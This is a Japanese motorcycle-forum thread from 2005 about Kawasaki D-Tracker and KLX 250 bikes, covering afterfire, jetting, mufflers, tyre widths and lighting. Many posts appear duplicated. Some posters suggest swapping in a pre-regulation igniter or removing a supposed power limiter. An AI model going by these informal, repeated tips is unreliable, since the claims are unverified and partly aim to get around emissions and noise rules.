ひたすら高回転キープしてたらアフター鳴ってないのもこれまた事実なんだよな。
正味、アフターなんかアクセル操作さえちゃんとできれば消すことはできる。
消すためには先読みして減速すべき地点とかちゃんと読まないと駄目だけど。
高回転キープで攻め続けるＫＬＸにはちょっと不向きな話だと思うけど、
ひたすら高回転キープしてたらアフター鳴ってないのもこれまた事実なんだよな。
>>62
まぁうるさいというのが一つだろうね。アフターでてるとうるさいくせに遅いし。
あとは、アフターでる→混合気が薄い傾向にあるとも言えるから、
エンジンによろしくは無いかと。
>>55
＞結果、まだアフター止まりません。
＞これはやはりＳＪを38から40にするべきなのでしょうか？
アクセル開けてるときにアフターでてるならSJは関係ないかと。
開→閉の時に100%でるなら、SJかPJのセッティングが効果あるかと。
ただし、激しくエンブレかけたり、全開走行→いきなり全閉とかすると絶対に鳴るから、
神経質にアフター消そうとするのはオススメできない。
まぁうるさいというのが一つだろうね。アフターでてるとうるさいくせに遅いし。
あとは、アフターでる→混合気が薄い傾向にあるとも言えるから、
エンジンによろしくは無いかと。
>>55
＞結果、まだアフター止まりません。
＞これはやはりＳＪを38から40にするべきなのでしょうか？
アクセル開けてるときにアフターでてるならSJは関係ないかと。
開→閉の時に100%でるなら、SJかPJのセッティングが効果あるかと。
ただし、激しくエンブレかけたり、全開走行→いきなり全閉とかすると絶対に鳴るから、
神経質にアフター消そうとするのはオススメできない。
>>61
250Ｒのマフラーは3万弱で買えるマフラーとしてはベストではないかと思う。性能は問題ないし。
ただ250Ｒも径が絞られてるのがあるので要注意。
しかし規制前のって病的なほど静かなマフラーだな、あれでよくがんばったなメーカーは。
250Ｒのマフラーは3万弱で買えるマフラーとしてはベストではないかと思う。性能は問題ないし。
ただ250Ｒも径が絞られてるのがあるので要注意。
しかし規制前のって病的なほど静かなマフラーだな、あれでよくがんばったなメーカーは。
04-05Dトラのリヤタイヤ、幅いくらまで履けますか(ノーマル130)。
履いた場合のメリット・デメリットはどんな感じで。
履いた場合のメリット・デメリットはどんな感じで。
71 ：７７４ＲＲ：2005/05/11(水) 22:32:22 ID:Dp13zSCs
アチェルビスの縦目ライトカウルを付けてるのですが、ランプが３５ｗのようで
とても暗く、トンネルが怖くて。
５０ｗのランプに変えてる人いますか？
ノーマル程度の明るさになりますか？誰か教えてください。
とても暗く、トンネルが怖くて。
５０ｗのランプに変えてる人いますか？
ノーマル程度の明るさになりますか？誰か教えてください。
>>69
情報サンクス。
径が絞られているのがあるなら要注意ですね。
で、昨日言ったイグナイター交換しました。
やはり正解だったようです。
5600回転から必ず鳴っていたパンパンパン音は消えました。
4800回転あたりでパンと鳴るか鳴らないかという感じになりました。
今までは9000回転からアクセル閉じるとこんな感じでした。
、、、、、、ぱんぱんぽんぱん、、、、ぽんぽぽぽ、、、
で交換後は
、、、、、、、、、、、、、、、ぱん、、、、ぽんぽぽぽ、、、
交換して思った事は規制後の方が中速に力があるように思います
（マフラーも中速向け用だから余計にそう思えるのかも）
アイドリングあたりが安定してます。
マフラーの音が歯切れ良くなった気がしますが今までの力強さを感じない
でも、10500回転まで回るようになった。
8000回転から9500回転までが回る様になった。
高回転が回るのでMJ135を入れていると濃い事がわかった（交換しなければ）
情報サンクス。
径が絞られているのがあるなら要注意ですね。
で、昨日言ったイグナイター交換しました。
やはり正解だったようです。
5600回転から必ず鳴っていたパンパンパン音は消えました。
4800回転あたりでパンと鳴るか鳴らないかという感じになりました。
今までは9000回転からアクセル閉じるとこんな感じでした。
、、、、、、ぱんぱんぽんぱん、、、、ぽんぽぽぽ、、、
で交換後は
、、、、、、、、、、、、、、、ぱん、、、、ぽんぽぽぽ、、、
交換して思った事は規制後の方が中速に力があるように思います
（マフラーも中速向け用だから余計にそう思えるのかも）
アイドリングあたりが安定してます。
マフラーの音が歯切れ良くなった気がしますが今までの力強さを感じない
でも、10500回転まで回るようになった。
8000回転から9500回転までが回る様になった。
高回転が回るのでMJ135を入れていると濃い事がわかった（交換しなければ）
ふと思った。KLX、Dトラッカーってタコメーター付いてるの？
(´-`).｡ｏＯ（かなりｱﾌｫくさい質問ｽﾏｿ。気になったもので･･･）
(´-`).｡ｏＯ（かなりｱﾌｫくさい質問ｽﾏｿ。気になったもので･･･）
>71
顔変えた方が早いよ。ﾉﾏﾙと同程度がいいならせめてH4ﾊﾞﾙﾌﾞ
は使いたいね。
>73
SBはない。
顔変えた方が早いよ。ﾉﾏﾙと同程度がいいならせめてH4ﾊﾞﾙﾌﾞ
は使いたいね。
>73
SBはない。
某タコ付けてそれでイグナイター変えれば消えるのではと思ったしだいです。
76 ：７７４ＲＲ：2005/05/11(水) 23:15:26 ID:Dp13zSCs
＞７４
やっぱり？でも縦目が気に入ってるんですよ。私。
やっぱり？でも縦目が気に入ってるんですよ。私。
ついてねーよ。
オフ車にタコついてるのってスーパーテネレとアフリカツインくらいじゃねーのか？
オフ車にタコついてるのってスーパーテネレとアフリカツインくらいじゃねーのか？
04Dトラのマフラーをノジマのファサームに変えようと思ってるんですけど、
デイトナとかのフェンダーレスキット付けてる場合、ナンバープレートとの干渉とか大丈夫ですか？
使用されてる方がいたら教えてください。
また、社外マフラーをつけた場合、吸気などを弄ってセッティングとかしないとまずいですか？
デイトナとかのフェンダーレスキット付けてる場合、ナンバープレートとの干渉とか大丈夫ですか？
使用されてる方がいたら教えてください。
また、社外マフラーをつけた場合、吸気などを弄ってセッティングとかしないとまずいですか？
この流れで言いにくいんだけど…
漏れはアフターの音好きなんだけど。
5→2速のコーナー入り口とかでパパパパパン！！ってちょっと２ストっぽくて漏れは好き
↓では次レスから再びアフター消し論議です。どうぞー
漏れはアフターの音好きなんだけど。
5→2速のコーナー入り口とかでパパパパパン！！ってちょっと２ストっぽくて漏れは好き
↓では次レスから再びアフター消し論議です。どうぞー
81 ：７７４ＲＲ：2005/05/12(木) 00:38:07 ID:BsY/bsWg
オフメットにゴーグル。かっこいいが視界が狭いのでゴーグルはあまり使ってない。
視界は狭い方が安全運転になるのかもなぁ。
オフ車のアスファルト道走行で事故みるとフルフェイス多い。。。
注意力が無くなるんじゃないかと俺は思う。
オフ車のアスファルト道走行で事故みるとフルフェイス多い。。。
注意力が無くなるんじゃないかと俺は思う。
うむうむ、何がしたいのかわからん構成だ。
でも、それが最近のなんちゃってもたーどなんだろうな。
ターミネーター言ったり、スーパーバイカーズ言ってみたり、モタード言ってみたり。
名前からして中途半端丸出しだからしかたないか。
でも、それが最近のなんちゃってもたーどなんだろうな。
ターミネーター言ったり、スーパーバイカーズ言ってみたり、モタード言ってみたり。
名前からして中途半端丸出しだからしかたないか。
アフターファイヤをみっともないと言う人も居るんだ
世界は広し
世界は広し
86 ：７７４ＲＲ：2005/05/12(木) 06:05:35 ID:+eonvB0V
アフターファイヤーの話の最中ですが、どなたかメンテ素人に教えてください。
僕は２００３年モデルのklxに乗ってるのですが、
先日、人伝いに「２００２年モデルあたりから、klxはフルパワーではなくなっている」
と聞きました。
その人曰く、リミッターだか何だかをちょこっといじくるだけで
パワーがどっかんと出る様になるから、ネットで調べていじってみろ！
との事だったのですが、一向にその情報にたどり着きません。
この話は本当なんでしょうか？
ちなみに以前、友人の乗る２００１年モデルと比べてみたところ、
明らかにパワーに違いがありました。
素人の僕でもはっきり分かる程、低速からトルクフル（自分のと比べて）で
加速もスムーズ。
排気音も僕の方が小さく、マフラーに手をかざして直接排気の勢いを比べても、
歴然とした差が。
その他にも、一緒に山へツーリングに行ったとき、それほど高い標高でもない場所なのに
僕の方はかぶってしまい、ヘロヘロ走っているのに対して、友人のは全く平気なんて事もありました。
キャブセッティングがまずいのかしらと思い（その時点では購入時のまま）
バイク屋さんに頼みセッティングし直してもらったのですが、
「ほとんどいじる必要ないよ」と少し触った程度だったみたいで、
結局パワーもほとんど変わりありませんでした。
両方のバイク共、イリジウムプラグがついているくらいで、ほぼノーマル状態。
違いといえばノロジーのホットワイヤーがあるかないか。
でも、ホットワイヤーだけの違いとは思えない程の差なんです。
最初はカワサキだし固体差も大きくて、悪いバイクに当たっちゃったのかな、と思ってたのですが、
「パワーが押さえてある」なんて話を聞いたのでその話が本当ならバイクの為にも「何としても解放してやりたい！」と思う今日この頃。
なんです。はい。
パワーが押さえられている、というのは本当なんでしょうか？もし、そうでないならば、僕のバイクが不調なのは固体差でしょうか？
それとも他の原因が考えられるのでしょうか？どなたか教えて下さい。お願いします。
僕は２００３年モデルのklxに乗ってるのですが、
先日、人伝いに「２００２年モデルあたりから、klxはフルパワーではなくなっている」
と聞きました。
その人曰く、リミッターだか何だかをちょこっといじくるだけで
パワーがどっかんと出る様になるから、ネットで調べていじってみろ！
との事だったのですが、一向にその情報にたどり着きません。
この話は本当なんでしょうか？
ちなみに以前、友人の乗る２００１年モデルと比べてみたところ、
明らかにパワーに違いがありました。
素人の僕でもはっきり分かる程、低速からトルクフル（自分のと比べて）で
加速もスムーズ。
排気音も僕の方が小さく、マフラーに手をかざして直接排気の勢いを比べても、
歴然とした差が。
その他にも、一緒に山へツーリングに行ったとき、それほど高い標高でもない場所なのに
僕の方はかぶってしまい、ヘロヘロ走っているのに対して、友人のは全く平気なんて事もありました。
キャブセッティングがまずいのかしらと思い（その時点では購入時のまま）
バイク屋さんに頼みセッティングし直してもらったのですが、
「ほとんどいじる必要ないよ」と少し触った程度だったみたいで、
結局パワーもほとんど変わりありませんでした。
両方のバイク共、イリジウムプラグがついているくらいで、ほぼノーマル状態。
違いといえばノロジーのホットワイヤーがあるかないか。
でも、ホットワイヤーだけの違いとは思えない程の差なんです。
最初はカワサキだし固体差も大きくて、悪いバイクに当たっちゃったのかな、と思ってたのですが、
「パワーが押さえてある」なんて話を聞いたのでその話が本当ならバイクの為にも「何としても解放してやりたい！」と思う今日この頃。
なんです。はい。
パワーが押さえられている、というのは本当なんでしょうか？もし、そうでないならば、僕のバイクが不調なのは固体差でしょうか？
それとも他の原因が考えられるのでしょうか？どなたか教えて下さい。お願いします。
87 ：７７４ＲＲ：2005/05/12(木) 06:08:36 ID:+eonvB0V
省略されちゃったので続きを…
その他にも、一緒に山へツーリングに行ったとき、それほど高い標高でもない場所なのに
僕の方はかぶってしまい、ヘロヘロ走っているのに対して、友人のは全く平気なんて事もありました。
キャブセッティングがまずいのかしらと思い（その時点では購入時のまま）
バイク屋さんに頼みセッティングし直してもらったのですが、
「ほとんどいじる必要ないよ」と少し触った程度だったみたいで、
結局パワーもほとんど変わりありませんでした。
両方のバイク共、イリジウムプラグがついているくらいで、ほぼノーマル状態。
違いといえばノロジーのホットワイヤーがあるかないか。
でも、ホットワイヤーだけの違いとは思えない程の差なんです。
最初はカワサキだし固体差も大きくて、悪いバイクに当たっちゃったのかな、と思ってたのですが、
「パワーが押さえてある」なんて話を聞いたのでその話が本当ならバイクの為にも「何としても解放してやりたい！」と思う今日この頃。
なんです。はい。
パワーが押さえられている、というのは本当なんでしょうか？
もし、そうでないならば、僕のバイクが不調なのは固体差でしょうか？
それとも他の原因が考えられるのでしょうか？どなたか教えて下さい。お願いします。
その他にも、一緒に山へツーリングに行ったとき、それほど高い標高でもない場所なのに
僕の方はかぶってしまい、ヘロヘロ走っているのに対して、友人のは全く平気なんて事もありました。
キャブセッティングがまずいのかしらと思い（その時点では購入時のまま）
バイク屋さんに頼みセッティングし直してもらったのですが、
「ほとんどいじる必要ないよ」と少し触った程度だったみたいで、
結局パワーもほとんど変わりありませんでした。
両方のバイク共、イリジウムプラグがついているくらいで、ほぼノーマル状態。
違いといえばノロジーのホットワイヤーがあるかないか。
でも、ホットワイヤーだけの違いとは思えない程の差なんです。
最初はカワサキだし固体差も大きくて、悪いバイクに当たっちゃったのかな、と思ってたのですが、
「パワーが押さえてある」なんて話を聞いたのでその話が本当ならバイクの為にも「何としても解放してやりたい！」と思う今日この頃。
なんです。はい。
パワーが押さえられている、というのは本当なんでしょうか？
もし、そうでないならば、僕のバイクが不調なのは固体差でしょうか？
それとも他の原因が考えられるのでしょうか？どなたか教えて下さい。お願いします。
88 ：７７４ＲＲ：2005/05/12(木) 06:11:35 ID:+eonvB0V
また省略だ…。要領得なくてすいません。
パワーが押さえられている、というのは本当なんでしょうか？
もし、そうでないならば、僕のバイクが不調なのは固体差でしょうか？
それとも他の原因が考えられるのでしょうか？どなたか教えて下さい。お願いします。
パワーが押さえられている、というのは本当なんでしょうか？
もし、そうでないならば、僕のバイクが不調なのは固体差でしょうか？
それとも他の原因が考えられるのでしょうか？どなたか教えて下さい。お願いします。
「KLEENカット」でググるといいことあるかも。
90 ：７７４ＲＲ：2005/05/12(木) 07:32:36 ID:6xCT1z1O
｢KLEENｶｯﾄ｣はﾊﾟﾜｰｱｯﾌﾟと関係無いんじゃん？｢ｲｸﾞﾅｲﾀｰ｣でしょう！
腕でカバーした方がかっこいいよ
92 ：７７４ＲＲ：2005/05/12(木) 08:21:14 ID:Wni9dwsN
ちょろっと！？お金ね！・イグナイター３マン、変換コード１．５マン！・・・・やってみる？
まあ、いろいろググるより単純にDトラのｵﾅｽﾞｸﾗﾌﾞ
逝ってリンク先片っ端からのぞいてみたら？
結構色々のってるYO！
逝ってリンク先片っ端からのぞいてみたら？
結構色々のってるYO！
>>70
150まではいける、ﾒﾘｯﾄは見た目が太くなって（･∀･）ｶｺｲｲ
ｻｲｽﾞ的にﾗｼﾞｱﾙのﾊｲｸﾞﾘｯﾌﾟが選べるようになる。
ﾃﾞﾒﾘｯﾄはﾉｰﾏﾙの足回りだと物足りなくなって、ｻｽｷｯﾄに
手を出して出費がかさむ・・・鴨
Dﾄﾗってｴﾝｼﾞﾝをどうこうするより、足回り弄った方がｵﾓﾛｲと
思うんだが・・・
150まではいける、ﾒﾘｯﾄは見た目が太くなって（･∀･）ｶｺｲｲ
ｻｲｽﾞ的にﾗｼﾞｱﾙのﾊｲｸﾞﾘｯﾌﾟが選べるようになる。
ﾃﾞﾒﾘｯﾄはﾉｰﾏﾙの足回りだと物足りなくなって、ｻｽｷｯﾄに
手を出して出費がかさむ・・・鴨
Dﾄﾗってｴﾝｼﾞﾝをどうこうするより、足回り弄った方がｵﾓﾛｲと
思うんだが・・・
>86-88
とりあえず「省略されています」の意味を知ってから出直してこい
とりあえず「省略されています」の意味を知ってから出直してこい
>>94
150って・・・無理だろ。脳内じゃないの？
>>+eonvB0V
全部に答えるのが邪魔くさいので一言で終わらせば、
「腕を磨け」
で終了だ。
規制前、規制後のKLXの個体差なんてたかがしれてるぞ。
ﾄﾞｯｶﾝﾊﾟﾜｰなんて誰が言うのかしらんがあり得ないからな。
カワサキが売る前にちゃんと調整して似たようなフィールにしとる。
もっと上手くなってから考えればいいことだから腕磨け。
150って・・・無理だろ。脳内じゃないの？
>>+eonvB0V
全部に答えるのが邪魔くさいので一言で終わらせば、
「腕を磨け」
で終了だ。
規制前、規制後のKLXの個体差なんてたかがしれてるぞ。
ﾄﾞｯｶﾝﾊﾟﾜｰなんて誰が言うのかしらんがあり得ないからな。
カワサキが売る前にちゃんと調整して似たようなフィールにしとる。
もっと上手くなってから考えればいいことだから腕磨け。
スプロケ変えれば？それで加速感かわるさ。犠牲にする速度域もあるけど、実用的な域じゃないし。
それはそうと最近グリップがへたってきた。クラッチ側なのに、半回転する。ｗｗ
それはそうと最近グリップがへたってきた。クラッチ側なのに、半回転する。ｗｗ
98 ：７７４ＲＲ：2005/05/12(木) 16:08:33 ID:n5tdD+SX
ふと思ったんですが
このバイクってパカパカ傾けてコーナーを攻めるのがおもしろいバイクなんですかね？
このバイクってパカパカ傾けてコーナーを攻めるのがおもしろいバイクなんですかね？
99 ：７７４ＲＲ：2005/05/12(木) 16:36:35 ID:EbRR4tMU
コーナー以外に面白さが見出せない
あとは、エクストリームとかかな？
あとは、エクストリームとかかな？
>98
個人的には傾けるんじゃなく、鬼の様にフロント加重してリアを
ドリドリさせるのが面白いバイクだと思う。傾けるだけなら２１インチの
バイクの方が楽しい。
個人的には傾けるんじゃなく、鬼の様にフロント加重してリアを
ドリドリさせるのが面白いバイクだと思う。傾けるだけなら２１インチの
バイクの方が楽しい。
っていうかオフ車全般、アスファルト走るのもダート走るのもケツ滑らせるのが楽しいわけで。
103 ：７７４ＲＲ：2005/05/12(木) 20:11:31 ID:hSPxPpO3
ダート走ればわかる。
それをアスファルトでやるだけだからなぁ。
高等テクでもなんでもない。
それをアスファルトでやるだけだからなぁ。
高等テクでもなんでもない。
おれリヤブレーキロックさせてターンするのしかできない(´・ω・｀)
俺ダートでリアロックしてドリフトと言い張る人です
規制前のイグナイターを入れるのは
コーナーでギヤが合わないところで
有利になるから。
コーナーでギヤが合わないところで
有利になるから。
108 ：774RR：2005/05/12(木) 21:27:21 ID:6sgYWRJk
>>96
１５０入るよ。４．５のリムでDUNLOPとブリヂストン以外のラジアルは確実に入る。
DUNLOPの155/60R-17のスリックも問題なく入る（下手なオフセットなしで）入れて伊那に
出てた人いるし。
１５０入るよ。４．５のリムでDUNLOPとブリヂストン以外のラジアルは確実に入る。
DUNLOPの155/60R-17のスリックも問題なく入る（下手なオフセットなしで）入れて伊那に
出てた人いるし。
テンプレにある140でチェーンラインにあたるって話は間違いなの？
まぁ、俺のはKLXなんで関係ない話なんだが。
まぁ、俺のはKLXなんで関係ない話なんだが。
110 ：７７４ＲＲ：2005/05/12(木) 21:59:29 ID:0Y9uC/Hs
111 ：７７４ＲＲ：2005/05/12(木) 22:02:12 ID:0Y9uC/Hs
ｽﾏｿ、>>70にでした
112 ：774RR：2005/05/12(木) 22:03:45 ID:6sgYWRJk
>110
4.0だともっとタイヤが丸まって細くなるから幅的には楽だぞ。
んで、入るか入らないかの話しだったので入ると言ったまで。
していいかどうかは本人次第。カッコ重視ならすればいいし、
速く走りたいなら極論３．５リムに１２５ｃｃ用のスリックでよろし。
4.0だともっとタイヤが丸まって細くなるから幅的には楽だぞ。
んで、入るか入らないかの話しだったので入ると言ったまで。
していいかどうかは本人次第。カッコ重視ならすればいいし、
速く走りたいなら極論３．５リムに１２５ｃｃ用のスリックでよろし。
29psに150サイズはやり杉な気が。
ツーリングにも使える思う
Dﾄﾗで林道。こり最高にオモロイ
Dﾄﾗで林道。こり最高にオモロイ
スイングアームのニードルベアリングを交換するのって特殊工具無いと無理かな？
ショップに交換を頼むと幾らぐらいかかるんだろ。
ショップに交換を頼むと幾らぐらいかかるんだろ。
懇意にしてる店なら3000円の工賃のみ。
懇意にしてないなら１万円の工賃のみかそれ以上。
特殊工具は必須です。
プレスを19800円出して買って置き場所に難儀するのもよし。
懇意にしてないなら１万円の工賃のみかそれ以上。
特殊工具は必須です。
プレスを19800円出して買って置き場所に難儀するのもよし。
オーナ―のみなさんＤトラの不満ってありますか？
今夏乗り換える予定なので教えて
逆に満足している所も
今夏乗り換える予定なので教えて
逆に満足している所も
>>118
過去ログからキミが読み取れたことをまずリストアップしたまえ。
過去ログからキミが読み取れたことをまずリストアップしたまえ。
DQNなんちゃってモタード仕様が多いことだろ。
川崎製なところ
最近ツレから売ってもらったんだけど、乗り換える前のXLR(17インチ仕様）
と比べてみると、ビックリするぐらい低速トルクない。今でも発進するときは
2速発進してるんじゃないかと思うぐらい。
と比べてみると、ビックリするぐらい低速トルクない。今でも発進するときは
2速発進してるんじゃないかと思うぐらい。
だからXRより速い。国内仕様比較な。
ＤトラやＫＬＸって、赤い色のヤツ出ないのかなぁ・・？
赤いのが出たら、欲しいところだけど。
赤いのが出たら、欲しいところだけど。
あるだろ。
>>124
'93SRの赤外装は一部（大部？）加工で無印やDトラにつくけど、入手可能かどうかは知らね。
'93SRの赤外装は一部（大部？）加工で無印やDトラにつくけど、入手可能かどうかは知らね。
デイトナのハスクもどきがｶｯｺ(･∀･)ｲｲ!!かった(；´Д`)ﾊｧﾊｧ
センターマフラーは（・A･)ｲｸﾅｲ!!けど
センターマフラーは（・A･)ｲｸﾅｲ!!けど
Ｄトラで両ツマ先ピンコ立ちな漏れですが
（Ｄトラをキズモノにしてしまう）勇気と
（たとえキズものになっても見捨てない）愛が
あれば、アクセルターンできるように
なれまつか？
（Ｄトラをキズモノにしてしまう）勇気と
（たとえキズものになっても見捨てない）愛が
あれば、アクセルターンできるように
なれまつか？
無理。
俺は背が低いのですが、セローに乗れました。
ってことはＤトラにも乗れますかね？
ってことはＤトラにも乗れますかね？
132 ：７７４ＲＲ：2005/05/14(土) 19:05:01 ID:QY1wVkTd
ﾁﾋﾞｯｺはﾛｰﾀﾞｳﾝ汁！
どんなバイクでも一緒だって。
つか、足の短い連中、気にすんな、キムタクがＫＬＸに乗ってもバレリーナ間違いない。
だからＴＷなんだから。
と全然関係ない話をしてみるテスト。
つか、足の短い連中、気にすんな、キムタクがＫＬＸに乗ってもバレリーナ間違いない。
だからＴＷなんだから。
と全然関係ない話をしてみるテスト。
TWに乗って満足してる奴はバイクを知らないか恐ろしく知っているかのどちらか
と言ってみるテスト
と言ってみるテスト
136 ：７７４ＲＲ：2005/05/14(土) 19:51:42 ID:ROPopIM3
っていうかむしろｷﾑﾀｸって短足じゃね？
ほんまにDQNなんちゃってモタ多い
ステッカーベタベタね。
DRZは車検あるし金額的にも本気の人が多そうだが
早くKLX４００出ないかな
ステッカーベタベタね。
DRZは車検あるし金額的にも本気の人が多そうだが
早くKLX４００出ないかな
KXFのフロントフェンダとリアフェンダ 04シュラウド アチェ目で
なんちゃってモトクロッサーな俺のＫＬＸも同類かな
今度ＤＲＺのフロントライトカウルゲットしたので工作します
純正ライト使用で光量ＵＰ！っていうか元に戻します。暗くて夜はしるのこわひ
現物あわせてみてみたけど結構簡単につくかも
さらに謎なバイクになりそうだにゃ
なんちゃってモトクロッサーな俺のＫＬＸも同類かな
今度ＤＲＺのフロントライトカウルゲットしたので工作します
純正ライト使用で光量ＵＰ！っていうか元に戻します。暗くて夜はしるのこわひ
現物あわせてみてみたけど結構簡単につくかも
さらに謎なバイクになりそうだにゃ
何をもって本気というのか教えてほしい。
>137
ステッカー貼ってたらDQNなんだー
バカじゃねーの？
ステッカー貼ってたらDQNなんだー
バカじゃねーの？
モタードは何でもありなんだよ！
うちの02白トラはRM250純正のゼッケンプレート付いてるよ。
近所のSBSでわざわざ注文したよ。
うちの02白トラはRM250純正のゼッケンプレート付いてるよ。
近所のSBSでわざわざ注文したよ。
ｽﾃｯｶｰﾍﾟﾀﾍﾟﾀは「なんちゃって」と言うよりも、
むしろ「ｺｽﾌﾟﾚ」の類ではないかと・・・
冥土喫茶帰りの漏れが言ってみるﾃｽﾂ
むしろ「ｺｽﾌﾟﾚ」の類ではないかと・・・
冥土喫茶帰りの漏れが言ってみるﾃｽﾂ
COZYのシートって革破れにくい？
ノーマルシート低いし破れたから変えようか迷ってる。
ノーマルシート低いし破れたから変えようか迷ってる。
自分でシート交換してみて2日目で破けた
やっぱり業者さんに頼まなくてはとｵﾓﾀ
次破けたらｺｰｼﾞﾊｲシートにしまつ
黒→黄に変更して、ｽﾃｯｶｰペタペタはってｽﾄﾘｰﾄぽくしたいが、
林道に目覚めた為に、汚れるの分って外装変更に挑戦するか熟考慮中
後、ディトナの憧れの車両見つけた
http://www.daytona.co.jp/motorcycle/motard/DTX/DTX.html
センター出しだけは(ﾟ⊿ﾟ)ｲﾗﾈけど
やっぱり業者さんに頼まなくてはとｵﾓﾀ
次破けたらｺｰｼﾞﾊｲシートにしまつ
黒→黄に変更して、ｽﾃｯｶｰペタペタはってｽﾄﾘｰﾄぽくしたいが、
林道に目覚めた為に、汚れるの分って外装変更に挑戦するか熟考慮中
後、ディトナの憧れの車両見つけた
http://www.daytona.co.jp/motorcycle/motard/DTX/DTX.html
センター出しだけは(ﾟ⊿ﾟ)ｲﾗﾈけど
>139
あれ？DR-Zって35Wじゃなかったっけ？暗くナイ？
あれ？DR-Zって35Wじゃなかったっけ？暗くナイ？
そいや今日4速あたりにNが発生した
加速中にうっかりＮが入っちゃうと、なんか恥ずかしい気分になるよね・・ｗ；
いきなりブゥオオオオオンッ！！だもんな。
いきなりブゥオオオオオンッ！！だもんな。
150 ：７７４ＲＲ：2005/05/14(土) 23:29:40 ID:ZcFEqaQ6
4速あたりにNはこの車両の持病？それとも使い方？
>>140
たしかに長めのネジが必要っぽいです
もしもう付けてらっしゃるならさらしてみようとか思いません？ｗ
>>147
ガワだけゲットしたのです
中身はシェルパライトで工作ですにゃ
つくんじゃないつけるんだ根性でｗ
たしかに長めのネジが必要っぽいです
もしもう付けてらっしゃるならさらしてみようとか思いません？ｗ
>>147
ガワだけゲットしたのです
中身はシェルパライトで工作ですにゃ
つくんじゃないつけるんだ根性でｗ
カワサキの持病です・・・
どんな車体でもorz
どんな車体でもorz
157 ：７７４ＲＲ：2005/05/15(日) 01:17:41 ID:pA+vQoWA
いやそれハズレだよ。俺なった事ないよ。
Dﾄﾗ購入予定なんだけど、カラーで迷ってる。。
'04の白にするか、04'or'05の黒にするか・・・。ｳｩ～
ちなみに、みなさんどのカラー選びました？
'04の白にするか、04'or'05の黒にするか・・・。ｳｩ～
ちなみに、みなさんどのカラー選びました？
バッタ。
>>154
わざわざいじってんじゃねーよ
わざわざいじってんじゃねーよ
>>152
身長１６５ｃｍでＤ虎乗ってるぞー
ＣＯＺＹのＬＯＷシートとリンクプレート1.5ｃｍダウンに交換してしてるが('A`)
慣れたらリンクプレートはノーマルに戻すつもり。
>>146
ライトとハンドガードがいいなぁ
DAYTONAのカタログにそんなパーツ載ってないね。
身長１６５ｃｍでＤ虎乗ってるぞー
ＣＯＺＹのＬＯＷシートとリンクプレート1.5ｃｍダウンに交換してしてるが('A`)
慣れたらリンクプレートはノーマルに戻すつもり。
>>146
ライトとハンドガードがいいなぁ
DAYTONAのカタログにそんなパーツ載ってないね。
>>152
俺167cmだけどDトラ買うとき足つきなんてまったく気にしなかったけどね。
最初何度か立ちゴケしたけど慣れりゃたいしたことない。
もししそうになっても、じきに踏ん張れるようになるw
今ではCOZYのX-HIGH付けてるけど全然気にならないよ。
足つきでDトラに乗ろうか迷うなんてナンセンス。
乗りたいバイクに乗るがよろし。って前に誰かか言ってた希ガス。
俺167cmだけどDトラ買うとき足つきなんてまったく気にしなかったけどね。
最初何度か立ちゴケしたけど慣れりゃたいしたことない。
もししそうになっても、じきに踏ん張れるようになるw
今ではCOZYのX-HIGH付けてるけど全然気にならないよ。
足つきでDトラに乗ろうか迷うなんてナンセンス。
乗りたいバイクに乗るがよろし。って前に誰かか言ってた希ガス。
〉〉158
'03年オレンジを大阪で乗っています・・・
でも、２年経っても同士を２回しか見たことが
ないとです・・・
'03年オレンジを大阪で乗っています・・・
でも、２年経っても同士を２回しか見たことが
ないとです・・・
166 ：７７４ＲＲ：2005/05/15(日) 11:36:56 ID:NnfYgc2N
>165
同士！当方も'03オレンジです｡横浜だけど極たまにしか見ない｡不人気色なのか？
同士！当方も'03オレンジです｡横浜だけど極たまにしか見ない｡不人気色なのか？
俺も'03オレンジｖ(´ヮ`*ｖ
田舎だからＤトラ自体少ない…
田舎だからＤトラ自体少ない…
関東だとオレンジは見かける。
そんな俺は黒ですが、黒も多いかな。
そんな俺は黒ですが、黒も多いかな。
黒は辺り障りがないからね。
今なら、間違いなく黄色ＳＢ買うな。あいが、カッコヨク見えて仕方ないw
ﾖｼﾑﾗｶﾗｰ今まで3台見た。ﾚｯﾄﾞﾊﾞﾛﾝの限定車は1台。
今なら、間違いなく黄色ＳＢ買うな。あいが、カッコヨク見えて仕方ないw
ﾖｼﾑﾗｶﾗｰ今まで3台見た。ﾚｯﾄﾞﾊﾞﾛﾝの限定車は1台。
俺なら05青買うぜ。
俺ならSBだね。
>>158
'04白だけど外装の端っこがバイクカバーで擦れるらしくどんどん黒ずんでいく。
あと白は水垢がやっぱり・・・(´･ω･`)
コンパウンドや水垢鳥で綺麗に落ちるが一週間もたたず黒ずむのでﾏﾝﾄﾞｸｻｲ
正直、黒外装に交換するか検討中 ＿|￣|○
つーか’04出た当時に比べて外装の値段上がってない？気のせい？
'04白だけど外装の端っこがバイクカバーで擦れるらしくどんどん黒ずんでいく。
あと白は水垢がやっぱり・・・(´･ω･`)
コンパウンドや水垢鳥で綺麗に落ちるが一週間もたたず黒ずむのでﾏﾝﾄﾞｸｻｲ
正直、黒外装に交換するか検討中 ＿|￣|○
つーか’04出た当時に比べて外装の値段上がってない？気のせい？
ttp://page2.auctions.yahoo.co.jp/jp/auction/b58397800
これって何のカウル流用してるかわかる？
宣伝じゃないよ、一応。
俺もSM流用かランツァ流用かで考えてるところなのだが。
これって何のカウル流用してるかわかる？
宣伝じゃないよ、一応。
俺もSM流用かランツァ流用かで考えてるところなのだが。
自衛隊偵察オート用新品カウルってのも出てる。あれって塗装しただけなのか。。。
>>173
KSR?
KSR?
>>176
そうか！ありがと。
そうか！ありがと。
あと５百円足すと新品（ライト除く）が買えるよん。
ドラッグスター１１００からDトラに乗り換えます。
来週納車予定です。
来週納車予定です。
>>179
おめ！
楽しいですよヽ(´ー｀)ノ
ﾘｯﾀｰSSからの乗り換えですけど、ありとあらゆる遊びが出来ます
前もどっかのｽﾚに書いたけど(何処だっけ？)
街乗り、通勤、林道、曲乗、ﾛﾝｸﾞﾂｰ(これはドﾗｽﾀに比べてどうか分らん)
ﾘｯﾀｰ30㌔可・・・で、今流行りのﾓﾀｰﾄﾞでのｽﾗｲﾄﾞとか。
ﾊﾟｰﾂも豊富、ﾀｲﾔも安い。
今相当惚れこんでます。
おめ！
楽しいですよヽ(´ー｀)ノ
ﾘｯﾀｰSSからの乗り換えですけど、ありとあらゆる遊びが出来ます
前もどっかのｽﾚに書いたけど(何処だっけ？)
街乗り、通勤、林道、曲乗、ﾛﾝｸﾞﾂｰ(これはドﾗｽﾀに比べてどうか分らん)
ﾘｯﾀｰ30㌔可・・・で、今流行りのﾓﾀｰﾄﾞでのｽﾗｲﾄﾞとか。
